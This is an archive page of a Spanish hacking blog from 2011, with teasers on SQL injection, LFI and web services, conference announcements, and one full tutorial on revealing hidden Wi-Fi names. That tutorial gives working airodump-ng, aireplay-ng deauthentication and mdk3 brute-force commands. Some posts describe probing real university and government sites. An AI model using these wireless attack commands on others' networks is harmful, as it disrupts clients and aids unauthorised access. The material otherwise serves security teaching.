sábado, 31 de diciembre de 2011

¡Feliz año 2012!

Ha pasado un año más en el blog y al igual que el año anterior quiero hacer un resumen de los posts y momentos más importantes de este año.

martes, 27 de diciembre de 2011

Hacking Web Services [Parte III]

Para programar un Web Service necesitamos de un "SOAP Engine". Es decir, un motor que implemente el protocolo SOAP y se encargue de la serialización y deserialización de mensajes. Este motor debe abstraer todos los detalles del protocolo en sí para permitir al programador concentrarse en codificar la lógica de la aplicación.

Por el lado de Java podemos utilizar "Axis2" como SOAP Engine. Axis2 se usa básicamente de dos formas:

domingo, 25 de diciembre de 2011

¡Feliz Navidad!

¡Feliz Navidad, chicos malos! y por supuesto, chicas malas también ;) Esta es la tercera Navidad de este  blog y desde aquí quiero agradecer a todos los que lo leen, siguen, comentan, linkean, comparten o simplemente saben de su existencia. Ya que de forma directa o indirecta me motivan a continuar con este proyecto cuyo único fin aparente es compartir la experiencia y el conocimiento que como cualquier aficionado voy ganando en el camino por alcanzar un sueño.



viernes, 9 de diciembre de 2011

LFI With PHPInfo()

El principal problema al explotar un LFI (Local File Inclusion) es encontrar un fichero donde podamos inyectar código para luego ejecutarlo a través de la vulnerabilidad. Lo más clásico es inyectar el código en los logs de cualquier servicio: web, ftp, ssh, etc. También se suele usar los ficheros que guardan las cookies de sesión o los relativos al proceso en marcha (/proc/self/...). Sin embargo, en muchos casos, no tendremos permiso de lectura sobre estos ficheros y en consecuencia no se podrá ejecutar el código inyectado.

Hace poco, gracias a un amigo, me enteré de una técnica novedosa para resolver este problema en un caso particular: cuando en la web hay un "phpinfo()".

miércoles, 30 de noviembre de 2011

C@ll@o # H@ck - UNACINUX 2011

¿No pudiste asistir a LimaHack 2011? ¿Te quedaste con ganas de ver alguna charla? ¿Quieres volver repetir la experiencia? Pues ahora tienes una segunda oportunidad. El próximo 10 de diciembre se realizará "CallaoHack", una réplica de algunas de las charlas del LimaHack 2011. Esta vez, no te lo puedes perder.

lunes, 21 de noviembre de 2011

Hacking Web Services [Parte II]

La función de un web service es brindar un servicio a través de una interface pública que pueda ser utilizada por cualquiera para construir aplicaciones que consuman el mencionado servicio. Es por esto que, de primera intención, la autenticación del cliente no es una prioridad cuando nos referimos a web services puesto que la idea es que estos mismos sean públicos.

Sin embargo, en la práctica, los web services no solo se utilizan para brindar servicios públicos donde no se requiere autenticar al usuario. También podemos encontrar web services que dan soporte al backend de algunas aplicaciones y que pueden ejecutar funciones administrativas. En esos casos la autenticación es una necesidad prioritaria.

domingo, 20 de noviembre de 2011

SQL Injection Web Attacks [Parte IX]

Si has seguido la serie de posts sobre inyecciones SQL, quizá ya has ganado algo de experiencia en esto. Puede que hayas visto algún caso en que, luego de deducir el número de campos seleccionados en una consulta, al inyecctar el UNION SELECT con esa misma cantidad de campos, aún bota error por diferente número de columnas. La explicación a ello es que la variable vulnerable está siendo empleada en dos o más consultas diferentes y alguna de ellas produce el error por lo que es imposible explotar esa inyección usando UNION SELECT.

En el caso anterior podrías intentar extraer la información de la base de datos mediante métodos deductivos: Response Based y Time Based. Sin embargo estos métodos tienen el inconveniente de requerir una gran cantidad de consultas y tiempo.

Hoy veremos otra técnica de extracción de datos que nos puede servir para casos como el descrito anteriormente y sin perder mucho tiempo.

jueves, 17 de noviembre de 2011

Hacking Web Services [Parte I]

En mis ratos productivos, soy programador Java. Esto me ha llevado hace poco a investigar sobre "Web Services", algo que se está poniendo de moda con eso de la Arquitertura Orientada a Servicios (SOA).

¿Qué es un Web Service? Wikipedia al rescate...
"Un servicio web (en inglés, Web service) es una pieza de software que utiliza un conjunto de protocolos y estándares que sirven para intercambiar datos entre aplicaciones. Distintas aplicaciones de software desarrolladas en lenguajes de programación diferentes, y ejecutadas sobre cualquier plataforma, pueden utilizar los servicios web para intercambiar datos en redes de ordenadores como Internet."

martes, 15 de noviembre de 2011

Calienten motores, CP-FISI 2011!!!

Hace un par de días se ha actualizado la página web del concurso de programación de la FISI: "www.cp-fisi.tk". Anunciando la fecha para la disputa de este año: martes 22 de noviembre. El CP-FISI, forma parte de las actividades a realizarse todos los años por motivo del aniversario de la facultad y es relevante porque, según tengo entendido, el ganador de este concurso representaría a la facultad en las regionales del ACM-ICPC.

sábado, 12 de noviembre de 2011

SQL Injection para todos - LimaHack 2011

 Hola, como sabrán el sábado pasado se llevo acabo LimaHack 2011. Este año he tenido la oportunidad de participar como expositor. El tema de mi charla fue sobre inyecciones SQL. Por ahí dicen que me quedo bien xD

Sé que había prometido subir las diapositivas al blog y hasta la fecha nada. Disculpas por eso. En realidad, estaba esperando que se publicara todo el material en la web de LimaHack para linkearlo desde aquí. Pero parece que aún va a demorar un poco. Así que por lo pronto les dejo mi presentación aquí:

martes, 8 de noviembre de 2011

SQL Injection Web Attacks [Parte VIII]

Vaya, ya ha pasado bastante tiempo desde el capítulo VII, a ver si termino esta serie antes que acabe el año xD

Bueno, como el tema de las inyecciones SQL es bastante amplio difícilmente podré abarcarlo todo aunque si creo poder hacer una introducción, poner ejemplos y al final algunas referencias para que cada uno pueda seguir investigando.

Siguiendo con las inyecciones SQL ciegas, hoy toca hablar de las inyecciones basadas en tiempo de respuesta: Time Based BSQLi.

domingo, 23 de octubre de 2011

phpLDAPadmin 0.9.4b DoS

Ayer se hizo pública, en exploit-db, una vulnerabilidad bastante gorda en phpLDAPadmin (una aplicación web para administrar fácilmente un directorio LDAP). Se trataba de un error que permitía ejecutar código PHP arbitrario. El exploit, aprovechaba ese error para conseguir una shell remota y ejecutar comandos en el servidor.

Bién, hace mucho que no veía un RCE, este tipo de fallos no son tan comunes en la web. Así que se puede decir que me inspiró. Me bajé una versión algo vieja de phpLDAPadmin, pero que aún es usada en algunas páginas web y me puse a buscar errores en el código. Al cabo de un tiempo, esto fue lo que encontré.

viernes, 21 de octubre de 2011

ReDuh, FTP y PASV Mode

Seguro ya has oído hablar de ReDuh, una herramienta que nos permite montar túneles TCP sobre HTTP para conectar con servicios que corren en la intranet de una organización saltando a través de un servidor web comprometido.

Uno de esos servicios internos podría ser un FTP, quizá uno que tenga el usuario "anonymous" habilitado y nos permita acceder a información interesante. Pero el protocolo FTP es algo especial y si conectamos usando un tunel hecho con ReDuh de buenas a primeras no va a funcionar bién.

martes, 18 de octubre de 2011

Rompiendo el cifrado del SCU (VIDEO)


Que el SCU permitía ver la información de cualquier usuario, es un viejo fallo conocido por muchos y del cual ya hablamos antes. Actualmente el problema sigue presente pero parece haber sido olvidado y nada se está haciendo al respecto.

viernes, 14 de octubre de 2011

¡12068 libros en español gratis!

Hoy terminé de leer "El Huevo del Cuco", un libro muy interesante que narra una historia real en la que su autor y protagonista, Clifford Stoll, nos cuenta las aventuras que vivió persiguiendo a un hacker alemán que se infiltró en su sistema y en el de muchas bases militares y "agencias de 3 letras" norteamericanas con el objetivo de robar información y venderla a espías de la KGB.

jueves, 13 de octubre de 2011

Charla en el Free4All

Hola de nuevo... como ya sabrán el proximo martes 18 empezará Free4All, un evento nuevo que durará 4 días y está organizado por la comunidad de software libre "San Marcux" con el propósito de difundir el conocimiento sobre la tecnología libre y open source.

Fig. 1 - Charla en el Free4All


lunes, 10 de octubre de 2011

Programa - LimaHack 2011


Ya salió el programa del LimaHack 2011 ;)

http://limahack.com/index.aspx?pagina=programa.aspx

-- copy & paste --

Hora Actividad Aula 31337 Aula H4X0R Aula Steve Jobs
09:00 - 09:30 Recepción Auditorio Principal
09:30 - 10:00 Bienvenida Auditorio Principal
10:10 - 10:55 Charlas 1 "Cómo ganar un CtF"
Ponente: Andrés Morales

Nivel : INTRODUCTORIO
"Wardriving and wireless penetration testing"
Ponente: Omar Palomino
Nivel : ALTO
"Bypassing XSS filters"
Ponente: Camilo Galdos

Nivel : ALTO
11:00 - 11:55 Charlas 2 "Análisis de Malwares Bancarios for Dummies"
Ponente: Ricardo Supo
Nivel : MEDIO
"Bash Scripting para Pentesters"
Ponente: Rolando Anton

Nivel : MEDIO
"Stuxnet: El Arma del Futuro"
Ponente: Mauricio Velazco

Nivel : ALTO
12:00 - 12:55 Charlas 3 "Routers, Contraseñas por defecto"
Ponente: Carlos Ganoza
Nivel : INTRODUCTORIO
"SQL Injection para todos"
Ponente: Cesar Neira

Nivel : MEDIO
"GameHacking: CodeCave in Assembly"
Ponente: Josué Rojas
Nivel : MEDIO
13:00 - 13:55 Almuerzo
14:00 - 14:55 Charlas 4 "NSEpastruler"
Ponente: John Vargas

Nivel : MEDIO
"Hackeando Cajeros Automaticos"
Ponente: Mauricio Urizar
Nivel : ALTO
"Hacking VoIP"
Ponente: Juan Oliva

Nivel : ALTO
15:00 - 15:55 Charlas 5 "Arduino 101 : Hardware para gente de Software"
Ponente: Juan Quiñe
Nivel : INTRODUCTORIO
"Reversing RFID"
Ponente: Miguel Febres

Nivel : ALTO
"WarWalking usando N900: Lima - Buenos Aires"
Ponente: Fernando Flores
Nivel : ALTO
16:00 - 16:55 Panel Auditorio Principal
17:00 - 17:15 Cierre Evento Auditorio Principal

Hora LAB LOIC
11:00 - 15:55 Capture the Flag
NOTA: LOS NIVELES INDICAN EL GRADO DE COMPLEJIDAD TÉCNICA DE LA CHARLA
-- copy & paste --

Saludos...

viernes, 7 de octubre de 2011

Ordenamiento por montículos - HeapSort

Hace mucho que no escribo nada sobre algoritmos y eso... bueno, esta vez quiero poner un código de ejemplo para el algoritmo de ordenamiento "HeapSort".
Fig. 1 - Funcionamiento de HeapSort.

domingo, 2 de octubre de 2011

Web de MySQL infectada con malware

Al parecer, la página web de MySQL (www.mysql.com) ha sido nuevamente comprometida. En esta ocasión se ha inyectado un código javascript que descarga malware de otro servidor a la PC del visitante. No es necesario que el visitante haga clic en nada, con que visite la página es suficiente para infectarse.

Pueden ver los detalles en este vídeo:




Saludos.

sábado, 1 de octubre de 2011

Free 4 All 2011


La comunidad de software libre San Marcux, te invita a participar de "Free 4 All". Son 4 días de charlas muy interesantes que abordarán diversas áreas de aplicación del Sofware Libre: Seguridad Informática, Técnologías web,  Desarrollo de aplicaciones y Software libre a nivel empresarial.

El ingreso es totalmente LIBRE.

Para más información visita:

Saludos.

miércoles, 28 de septiembre de 2011

Full Path Disclosure en USVN

Se le dice "Full Path Disclosure" a un error frecuente en muchas aplicaciones web que permite ver el "path" completo de algún recurso de la web dentro del servidor. Por ejemplo si la URL de una web es:

http://www.example.com/index.php

Con un FPD, podríamos saber que el path de "index.php" es:

/home/pepito/htdocs/www.example.com/index.php

Seguro dirás ¿Y qué con eso? Pues nada, no es una vulnerabilidad crítica pero si que puede ser de mucha utilidad al momento de explotar otras vulns de más riesgo como LFI o SQLi.

Bien, pero vamos a lo que trata este post...

domingo, 25 de septiembre de 2011

Por seguridad, toque antes de entrar

Tocar antes de entrar no parece presisamente una medida de seguridad sino más bien una regla de buenas costumbres. Pero entonces... ¿A qué me refiero con el título de este post?

Hoy hablaremos del "Port Knocking", una medida de seguridad complementaria que puede ser de mucha utilidad, sobre todo si tenemos el paranoic_mode enable xD

viernes, 23 de septiembre de 2011

Examen de Admisión & DoS

Hoy quiero hablar sobre ataques DoS (Denial of Service) o lo que es lo mismo "Denegaciones de servicio". Este tipo de ataques, van en contra de un principio de la seguridad informática conocido como "Disponibilidad". Este principio dice que los sistemas deben garantizar la continuidad de acceso a la información contenida en ellos, es decir, que un usuario pueda disponer de dicha información con la frecuencia que requiera. Entonces, el objetivo de un ataque DoS, es bloquear o degradar de alguna manera el servicio proporcionado por un sistema informático a sus usuarios.

miércoles, 14 de septiembre de 2011

San Marcos tiene nueva página web

Hoy traigo buenas noticias, luego de mucho tiempo se ha actualizado el portal web de la universidad. Me refiero a:

http://www.unmsm.edu.pe

Ahora luce así:

Fig. 1 - Nueva página de San Marcos.

LimaHack 2011 - Call for Papers


Arranca el Call For Papers para el LimaHack 2011...


Para más detalles visita: http://limahack.com/

miércoles, 7 de septiembre de 2011

¿Un ejemplo a seguir?

Yo también estoy de acuerdo con que deberían multar a aquellos que no toman suficientes medidas de seguridad xD  ¿No creen?

Fig. 1 - ¿Un ejemplo a seguir?

domingo, 4 de septiembre de 2011

Apache Range Vuln Scanner (CVE-2011-3192)

Hace dos semanas se hizo público un exploit para el popular servidor web Apache que permite realizar una denegación de servicios con relativamente pocas consultas. El exploit aprovecha una vulnerabilidad en Apache que se produce por un inadecuado tratamiento de la cabecera Range. Esta cabecera sirve para pedir segmentos de bytes de un archivo, útil cuando se necesita transferir solamente algunas partes del archivo, por ejemplo, para hacer streaming.

lunes, 29 de agosto de 2011

Turcos defacean la web de la FISI

Fig. 1 - Nuevo look de la FISI.
Hace unos días la web de la FISI estaba caída... evidentemente la razón ha sido por que un grupo de defacers denominado "1923Turk" le hizo un radical cambio de look xD

viernes, 26 de agosto de 2011

DoS con SQLi - Caso Fisimash

Ya ha pasado buen tiempo desde que cerró la página web de fisimash. Así que me he dispuesto a escribir sobre la vulnerabilidad que hacía posible tirarla en unos cuantos minutos.

lunes, 22 de agosto de 2011

SQL Injection Web Attacks [Parte VII]

Como vimos en el capítulo anterior, las inyecciones SQL a ciegas requieren de gran cantidad de consultas para poder explotarlas. Intentar explotar una vulnerabilidad de ese tipo manualmente demora demasiado y resulta muy tedioso. Felizmente existen herramientas para automatizar la explotación de inyecciones SQL y hacer de nuestra experiencia algo menos frustrante.

viernes, 12 de agosto de 2011

OWASP Latam Tour 2011 en Lima

Mañana sábado 13 de agosto se realizará el OWASP Latam Tour 2011. Este curso tiene por objetivo presentar y explicar como se podrían utilizar los proyectos OWASP en un ambiente empresarial para una adecuada gestión de la seguridad. El ingreso es libre para miembros de OWASP y estudiantes universitarios (con carnet vigente).

domingo, 24 de julio de 2011

SQL Injection Web Attacks [Parte VI]

Blind SQL Injections

Hoy toca hablar de las inyecciones SQL a ciegas o "Blind SQL Injections". Se le llama así a una forma particular de vulnerabilidad SQLi cuya principal característica es que no muestra ningún campo de la consulta en la pagina web, en consecuencia, es imposible extraer información usando UNION SELECT.

jueves, 21 de julio de 2011

sábado, 16 de julio de 2011

HackSol, Tercera Edición


El próximo sábado 23 se llevará a cabo la tercera edición del "HackSol". El lugar de encuentro será el auditorio de la Universidad Católica Sede Sapientiae, en los Olivos.

lunes, 11 de julio de 2011

FisiMash, el Facemash de la FISI

Quien ha visto la película "Red Social" ("The Social Network"), recordará que la historia de Facebook comienza con "Facemash", un site creado por Mark Zuckerberg cuyo fin era comparar y votar las fotos de estudiantes universitarias de Hardvard para decidir quien era la más sexy. Pues bien, "FisiMash" es un site que busca imitar la misma funcionalidad.

viernes, 1 de julio de 2011

Una inyección bastante especial

Hoy quiero contarles una experiencia que tuve al intentar explotar una vuln SQLi algo especial. Sucede que no siempre es tan fácil como hacer un UNION SELECT y listarse toda la información de la base de datos... Algunas veces nos topamos con IDS's (Sistemas de Detección de Intrusos) que filtran los ataques y nos pueden complicar bastante la explotación. Precisamente ello es lo que me sucedió así que aprovecharé esto a modo de ejemplo para contarles como afrontar esos problemas...

martes, 28 de junio de 2011

Sobre Anonymous y la OpAndesLibre

No, no... esto no es otro anuncio de Anonymous xD Bueno, hoy quería escribir de lo que fue, para mi, todo el alboroto que se armó por el "ataque" de Anonymous a Chile y Perú.

sábado, 4 de junio de 2011

SQL Injection Web Attacks [Parte V]

Bien, ya hemos visto cual es el procedimiento para extraer información de una base de datos explotando una vuln SQLi. Sin embargo no siempre todo es tan simple, a veces pueden surgir ciertos problemas y debemos conocer algunos trucos para sobrellevarlos de la mejor manera posible. De eso tratará este post.

miércoles, 1 de junio de 2011

Sintetizador de voz, Festival

Festival, es un proyecto open source de la Universidad de Edimburgo, que tiene por objetivo desarrollar un framework para síntesis de voz, es decir, hacer que la computadora pueda leer textos.

domingo, 22 de mayo de 2011

Ping ARP en Nagios

Hace poco configuré Nagios en el trabajo. La idea es tener un sistema que envíe alertas cuando algún servidor se cae o deja de ser accesible. Pero también me interesa saber que maquinas están encendidas en cualquier momento para, por ejemplo, no olvidar que deben apagarse al final del día (ya un par de veces alguna se ha quedado encendida toda la noche ¬¬)

Bien, Nagios es un sistema que permite hacer todo eso y más. Sin embargo su manera (por defecto) de revisar si un host esta vivo o no, es haciéndole ping una determinada cantidad de veces para luego ver cuantas responde. El problema es que algunas máquinas que quiero monitorear no responden al ping y Nagios las detecta como apagadas cuando en realidad no lo están :(

Factorial de números grandes

Hace poco estuve dictando un taller de C/C++ para ingresantes en la facultad como parte de las actividades que organiza la C.S.L. San Marcux.

En una de las clases, hicimos un ejemplo sencillo de cómo calcular el factorial de un número usando un bucle for. Sin embargo ese programa fallaba cuando el factorial de un número era demasiado grande, el valor no entraba en un entero de 4 bytes (int) y había un desbordamiento de memoria :(

sábado, 14 de mayo de 2011

SQL Injection Web Attacks [Parte IV]

En el capítulo anterior aprendimos como funciona la extracción de datos usando la clausula UNION SELECT y como ejemplo mostramos como obtener el nombre de la base de datos, el nombre del usuario e incluso la versión de la base de datos. Pero esa información quizá no nos llame mucho la atención.

martes, 10 de mayo de 2011

<< Back | Track 5 - Revolution



Ya está disponible para descarga la última versión de la distro de seguridad informática más popular de todas: BackTrack 5 Revolution.

Descargala desde el siguiente enlace:

http://www.backtrack-linux.org/downloads/

sábado, 7 de mayo de 2011

Todos vídeos de la Rooted CON 2011

El Rooted CON es un congreso de altísimo nivel orientado a difundir el conocimiento sobre seguridad informática. Se realiza en Madrid (España) durante el mes de marzo. Inició el 2010 y ya va por su segunda edición.

jueves, 5 de mayo de 2011

DEMO: Elevación de privilegios en Linux

Bien, aquí les dejo otro vídeo donde se muestra el procedimiento para elevar privilegios en un sistema linux explotando una vulnerabilidad en el kernel. Previamente se obtuvo una shell con el meterpreter.




Saludos.

domingo, 1 de mayo de 2011

DEMO: Explotación de SQL Injection

Hola, esta es la demo que hice para la charla que dimos, un amigo y yo, el día sábado en el FLISOL (UNAC).

En el vídeo se muestra como explotar una inyección SQL para conseguir una sesión de meterpreter en el sistema remoto y tomar el control.



Saludos.

miércoles, 27 de abril de 2011

Charla en el FLISOL

Como ya sabrán, en el FLISOL, además de instalar distros libres de GNU/Linux, también se realizan charlas sobre muchos aspectos del software libre y sus aplicaciones. Algunas de esas charlas son dictadas por miembros de comunidades de software libre aunque también por empresas y profesionales afines. Pues bien, a San Marcux (la comuna de la cual soy miembro) le invitaron para que participara del FLISOL (sede UNAC) así que se nos ocurrió dar una charla.

jueves, 21 de abril de 2011

FLISOL 2011


Si últimamente has estado considerando instalarte alguna distro de Linux y cambiarte al software libre pero aún no te atreves a dar el paso, esta es tu oportunidad. El próximo 30 de Abril se realizará el "FLISOL" (Festival Latinoamericano de Instalación de Software Libre).

sábado, 9 de abril de 2011

Resuelto el cifrado del SCU

Hola de nuevo... quizá recordarán que a mitad del año pasado encontramos un error en la página web del SCU (Sistema de Control de Usuarios) de la biblioteca. Ese error permitía consultar y modificar los datos que saldrían impresos en el carné de biblioteca de cualquier alumno de la universidad (y como PoC le cambiamos de sexo a Salomón xD).

El error fue reportado y corregido semanas después. Pero la solución no me había convencido del todo ya que solo consistía en cifrar la variable que estaba dando problemas. Eso no resuelve la causa del error en sí pero dificulta algo más su explotación.

Desde entonces quedó propuesto el reto criptográfico del SCU. Si lográbamos averiguar como es que cifran el código de los alumnos podríamos continuar accediendo a la información de cualquiera de ellos. Hace poco nos pusimos a ello y lo conseguimos.

domingo, 3 de abril de 2011

FIND_IN_SET: Optimized Blind MySQL Injection Data Retrieval

Hoy, leyendo el blog de "Security By Default" me enteré de otra optimización para extracción de datos explotando inyecciones SQL a ciegas en MySQL. Digo otra por que, como recordarán, hace poco hablamos sobre el Bit Shifting, una técnica que tiene el mismo propósito.

La técnica se denomina "FIND_IN_SET". El artículo, en la web de su autor, lo pueden encontrar aquí.

Así que en este post explicaré lo que he entendido de esta nueva técnica que considero aporta una mejora muy significativa en eficiencia.

viernes, 1 de abril de 2011

SQL Injection Web Attacks [Parte III]

Hasta este punto ya debemos ser capaces de identificar cuando una aplicación es vulnerable a inyecciones SQL. Lo que aprenderemos en esta y las siguientes partes de la serie serán algunas técnicas para explotar estas vulnerabilidades. Al decir "explotar" me refiero a comprometer la seguridad de la organización ya sea obteniendo información o acceso privilegiados.

jueves, 31 de marzo de 2011

Faster Blind MySQL Injection Using Bit Shifting

Estaba revisando unos papers en exploit-db cuando me encontré con uno que me llamó la atención: Faster Blind MySQL Injection Using Bit Shifting. Se trata de una técnica rápida de deducción de caracteres para inyecciones SQL a ciegas en MySQL.

Lo pueden encontrar en: http://www.exploit-db.com/papers/17073/

Así que en este post trataré de explicar lo que he entendido con respecto a esta técnica de deducción de datos.

martes, 29 de marzo de 2011

Ataque SQL Injection a la web de MySQL


Esta noticia salió ayer en el boletín de "Una al día" y la verdad que me hizo mucha gracia xD Así que la replico aquí.

sábado, 26 de marzo de 2011

Spam en blogger

Hola, quiero contarles sobre algo que seguramente nos ha pasado a todos desde el primer día que nos conectamos a internet: SPAM!!

jueves, 24 de marzo de 2011

Linux Week


Hola de nuevo... hoy fui con unos amigos al Linux Week (un evento de software libre que organiza el grupo Linux IDES de la Católica) donde, durante toda esta semana, se están llevando acabo conferencias de diversos temas relacionados con el software libre y sus aplicaciones. Hoy tocó hablar de seguridad informática y redes.

sábado, 12 de marzo de 2011

martes, 8 de marzo de 2011

No solo nosotros... [Parte II]

Continuando con los bugs en otras universidades... Ahora veremos un par de errores en la página web de... bueno, no voy a decir de que universidad xD

lunes, 7 de marzo de 2011

Vídeos del LimaHack@UNMSM

Hola... para todos aquellos que no pudieron asistir por cualquier motivo y para quienes quieren ver nuevamente las charlas con algo más de paciencia les dejaré en este post los vídeos de todas las conferencias del LimaHack@UNMSM.

domingo, 6 de marzo de 2011

No solo nosotros... [Parte I]

Hola de nuevo... hace ya mucho que no escribo nada. Andaba algo ocupado con los cursos, el trabajo, el limahack y otras cosas... xD Pero ahora que ya se terminaron los exámenes finales tengo algo más de tiempo para escribir :)

Esta vez quiero contarles sobre algunas vulnerabilidades que he encontrado en otras universidades y mostrar, de esta manera, que nuestra universidad podrá tener sus huecos... pero no es la única.

miércoles, 23 de febrero de 2011

Solución del desafío Xubuntu

Hace ya mucho que frecuento el canal IRC de backtrack en español, #backtrack-es. Allí, a parte de resolver tus dudas sobre el sistema operativo, los cursos de offsec, la venta de souvenirs y de jugar a la ruleta rusa cuando no están los superadmins xD; también publican desafíos muy interesantes. Por ahora hay 3 desafíos publicados: el desafío XP, el desafío xubuntu y el desafío forense. El primero fue resuelto hace ya mucho y quedaban pendientes los dos últimos.

lunes, 21 de febrero de 2011

Nuevo lugar para el LimaHack@UNMSM

Hola, a todos los que hayan logrado inscribirse al LimaHack@UNMSM debo informarles que por razones de capacidad hemos cambiado el lugar del evento. Ahora se realizará en el auditorio de la Facultad de Ciencias Contables de la UNMSM (en el tercer piso).

viernes, 18 de febrero de 2011

Seminario de Ingeniería Forense

Dirigido a:

Profesionales de la ingeniería interesados en conocer y/o actualizar sus conocimientos sobre las metodologías empleadas en ingeniería forense, profesionales en tecnología de la información, miembros de equipos de respuesta a incidentes, administradores de seguridad de la información, abogados, ingenieros de sistemas, analistas forenses, personal policial, ministerio publico, cualquier interesado en investigaciones de computo forense y seguridad informática.

Seminario de Delitos Informáticos: Ingeniería Social del Hacking al Defacing

Hola amigos, les dejo otro interesante evento sobre seguridad informática que se realizará esta semana.

Dirigido a:
Estudiantes, profesionales y técnicos de ingeniería de sistemas, seguridad de la información e interesados en seguridad informática y normas de seguridad.
Objetivo: Proporcionar a especialistas en seguridad y de la informática en general, conocimientos sobre técnicas de protección y respuesta a incidentes informáticos.

martes, 15 de febrero de 2011

Wargame LimaHack@UNMSM


Hoy, me acaban de confirmar que se realizará un CTF el mismo día del LimaHack@UNMSM como parte de las actividades programadas para ese día.

domingo, 13 de febrero de 2011

LimaHack@UNMSM

Hace ya bastante tiempo desde que el amigo w1b1 conversó con fataku sobre porqué no había asistido al LimaHack 2010 que se realizó en diciembre del año pasado. Yo tampoco asistí y la razón fue que no nos enteramos a tiempo. En esa charla, fataku, también le dijo, que si nos organizábamos en nuestra facultad, podrían repetir el evento ahí.

jueves, 3 de febrero de 2011

miércoles, 26 de enero de 2011

SQL Injection en www.mintra.gob.pe

Hace un par de días, mientras buscaba algunos ejemplos para la segunda parte de la serie "SQL Injection Web Attacks" (que espero publicar pronto), me topé con un SQLi en la página web del ministerio de trabajo xD

Inseguridad Inalambrica [PARTE IV]

Continuando con la siguiente parte de inseguridad inalámbrica, mostraremos 3 métodos muy simples pero que sirven de mucho para poder descubrir cual es la nombre de una red oculta, existen muchas redes, segurizadas bajo esto. Así probamos que este tipo de seguridad no es tan segura.

Para siguiente ejemplo hemos usado la distribución del bt4, y 2 dispositivos inalámbricos para el mayor entendimiento del ejemplo, pero se puede hacer con una sola tarjeta.

Como cliente tenemos:
Tarjeta PCI Ralink 2561 con interface wlan0

Para auditar tenemos:
Usb Realtek rtl8187b con interface wlan1





Método 1
Este primer método requiere de mucho tiempo, inclusive puede demorar horas, consiste dejar nuestro airodump-ng a la escucha, y esperar que un verdadero cliente del AP, se conecte a el mismo, cuando un cliente se conecte el airodump-ng captara el paquete con el nombre de red.

Quitamos el modulo de la tarjerta
 
rmmod rtl8187

Cargamos el modulo de la tarjeta

modprobe rtl8187

Ponemos en modo monitor la tarjeta

airmon-ng start wlan1


Ponemos el airodump-ng a la escucha

airodump-ng - -bssid mac_AP –c canal_AP mon0


Esperemos hasta que se conecte un cliente verdadero al AP.


Método 2
El segundo método consiste en hacer un ataque de desautenficación a un usuario conectado.

rmmod rtl8187


modprobe rtl8187


airmon-ng start wlan1


airodump-ng - -bssid mac_AP –c canal_AP mon0

Ataque de desautentificacion de un cliente asociado. En este caso mandamos 5 paquetes de desautentificación, en caso que se resista se puede enviar más.


aireplay-ng -0 5 -a mac_AP -c mac_CLIENTE mon0

El cliente se desconectara un pequeño instante de AP y se volverá a conectar, asi se volverá a enviar el paquete con el nombre del AP.

Método 3
Aquí utilizaremos el mdk3 para realizar un ataque de fuerza bruta(ESSID brute force), en este ataque no se necesita de cliente conectados, solo se probara los nombre que se tengan en el archivo que contiene los pass. En mdk3 detectara la longitud del nombre de red y probara sólo las palabras con la longitud detectada. El problema es cuando cuando el airodump-ng detecta redes con longitud de nombre de red lenght -1 o lenght 0 (El AP no difunde la longitud del nombre de red). Este ataque sirve cuando se conoce la longitud del nombre de red. El mdk3 no hára nada. Lo que se trato de hacer fue modificar el código del mdk3 para que tenga por defecto la longitud indicada por nosotros, pero no pudimos compilar nisiquiera el código original del mdk3, puede que sea por la versión del kernel. Para que no tengan este tipo problemas el backtrack ya lo incluye entre sus herramientas de auditoria inalámbrica.





mdk3 interface p –t mac_AP -f directorio_diccionario.txt –s paquetesXsegundo





Tambien el mdk3 tiene otras formas de fuerza bruta en busca del nombre de red. El mdk3 ya tiene diccionarios propios para esto.


mdk3 interface p –c canal –t mac_AP -b tipo_caracteres –s paquetesXsegundo

l: nombres de red con letras minúsculas
u: nombres de red con letras mayúsculas
n: nombres de con solo números
c: combinación mayúsculas y minúsculas
m: combinación de mayúsculas, minúsculas y números
a: combinación letras, numero y caracteres especiales.

Aquí mostramo una pequeña demostración del metodo 1 y 3, lastimosamente mi wicd no quiere asociarse por nada del mundo a mi unico AP(TP-LINK TL-WA500G), pero al parecer no hace falta ya que es muy simple el método.

viernes, 14 de enero de 2011

SQL Injection Web Attacks [Parte I]

Hola a todos, en esta nueva serie de posts vamos a abordar un tema nada nuevo pero sí muy interesante. Se trata de las vulnerabilidades SQL Injection. Ya antes en el blog hemos explicado vagamente lo que es un SQL injection y hemos visto como explotarlos usando diferentes técnicas para casos específicos. Ver:
Sin embargo creo que ha llegado el momento de profundizar un poco para entender bien como funciona este tipo de vulnerabilidad y podamos explotarla a nuestro gusto.

1 Preparando el laboratorio

Para poder seguir los ejemplos que pondremos va a ser necesario contar con un servidor web Apache con el modulo de php instalado y un servidor de base de datos MySQL. Podemos conseguir todo eso (y más) instalando el paquete XAMPP para nuestro sistema. Explicaré como hacerlo en linux, si usas windows es como siempre: clic en next hasta que la ventana desaparezca.

Descarga el paquete de XAMPP para linux desde aquí:

http://www.apachefriends.org/en/xampp-linux.html#374

Es un comprimido, extraelo en el directorio /opt (necesitaras privilegios de root)

sudo tar xvfz xampp-linux-1.7.3a.tar.gz -C /opt

¡Listo, ya esta instalado! xD Para arrancar XAMPP ejecuta esto:

sudo /opt/lampp/lampp start

Y para detenerlo esto:

sudo /opt/lampp/lampp stop

XAMPP trae un asistente para cambiar los password por defecto, lo llamamos así:

sudo /opt/lampp/lampp security

El directorio publico del servidor web está en "/opt/lampp/htdocs". Crearemos un subdirectorio para poner ahí el código de los ejemplos.

sudo mkdir /opt/lampp/htdocs/test

Ahora crearemos una base de datos para nuestros experimentos. Deberás tener el XAMPP corriendo.

Primero abrimos la consola de MySQL. Para ello nos ubicamos en el directorio "/opt/lampp/bin" con el comando cd.

cd /opt/lampp/bin

Y ejecutamos mysql. Si le pusiste password al usuario root deberá ir el parámetro "p".

./mysql -u root -p

Una vez dentro de la consola, creamos la base de datos con esta orden:

mysql>create database db_test;

Y la seleccionaremos con:

mysql>use db_test;

Llegado a este punto ya solo es copiar y pegar las ordenes SQL de los ejemplos.

Bueno, creo que ya tenemos todo lo necesario para empezar.

2 SQL Injection Web Attacks

Una vulnerabilidad SQL Injection (SQLi) es un error de implementación, generalmente en aplicaciones web aunque no es exclusivo de estas, que puede permitirle a un atacante modificar las consultas que hace la aplicación a su base de datos para, de esta manera, alterar el comportamiento normal de la aplicación y obtener ventajas de ello.

Esta vulnerabilidad es calificada como crítica pues en el peor (o mejor, dependiendo de nuestra perspectiva) de los casos se puede conseguir ejecutar ordenes en el servidor. Sin embargo, por distintos factores de un escenario particular, la gravedad del impacto puede reducirse.

